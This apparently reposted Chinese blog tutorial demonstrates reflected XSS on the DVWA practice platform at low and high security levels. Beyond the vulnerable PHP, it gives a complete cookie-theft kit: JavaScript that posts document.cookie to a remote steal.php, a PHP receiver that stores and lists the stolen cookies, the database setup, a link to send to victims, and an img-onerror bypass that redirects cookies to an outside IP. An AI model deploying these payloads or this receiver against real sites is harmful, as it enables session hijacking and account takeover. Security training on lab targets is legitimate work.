1. 程式人生 > >資訊保安之路-web-xss學習(1)

資訊保安之路-web-xss學習(1)

關於xss反射性漏洞

1.未加任何過濾的

(1).dvwa平臺上可以看到原始碼,如下

low級別

為了便於理解,程式碼如下:

<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )

{// Feedback for end user

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?> 

判斷是否存在name引數且該引數是否為空,不為空則輸出Hello,和該引數的值

 

(2).如果輸出<script>alert(0)</script>,則瀏覽器端接收到傳來的服務端處理後的js程式碼就會直接解析執行

 

 

(這裡做過實驗,如果在瀏覽器端開啟服務端js程式碼則直接看到原始碼,不執行,所以說服務端處理後的js程式碼)

Ps:筆者在學習時設定了代理。IP會變,做的時候可以考慮該原因

(3) .當我們已知該漏洞時,考慮利用<script src=http://xxx></script>

來執行外部js檔案,從而在js中實現預先設定和更為強大的功能,如下,設定了獲取cookie的原始碼

Js程式碼:(一定要細心,筆者在此出錯甚多,導致耗時太多,比如action後網址正確,要有http//,在瀏覽器端輸入時會自動加上,但構造payload時會忘掉)

document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

這段js程式碼的作用是在頁面中構造一個隱藏表單和一個隱藏域,內容為當前的cookie,並且以post方式傳送到同目錄下的steal.php。

Php程式碼:(同上,寫php程式碼時一定要細心,比如:$_POST不能少了_符號,低階錯誤,哎)

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysql_connect("localhost","root","root");

mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))

{

    $sql="insert into low(cookie) values('".$_GET['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

}else if(isset($_POST['data']))

{

    $sql="insert into low(cookie) values('".$_POST['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

}else

{

    $sql="select * from low";

    $result=mysql_query($sql,$conn);

    while($row=mysql_fetch_array($result))

    {

        echo "偷取的cookie:".$row[1]."</br>";

    }

    mysql_close();

}?>

steal.php將我們獲取到的cookie存到資料庫中。

create database dvwacookie;

use dvwacookie;

create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下來我們在有xss漏洞的位置插入。

<script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>

相當於構造連結。

http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

將連結發給該網站下的受害者,受害者點選時就會載入遠端伺服器(這裡是win7)的cookie.js指令碼,這裡要提一點,用src載入遠端伺服器的js指令碼,那麼js的源就會變成載入它的域,從而可以讀取該域的資料。

這時,資料庫就接收到了cookie。

 

High級別

High利用正則過濾了script標籤,需要繞過,那就不使用<script>標籤,使用

<img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

這樣同樣可以出發js事件,服務端在解析時並不會解析Iuicode編碼,而是到了html頁面端會有解析,從而執行。

注意以上payload和這個區別:(引號結尾在document之前)

<img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>

 

 本文程式碼和理解參考:http://www.freebuf.com/articles/web/157953.html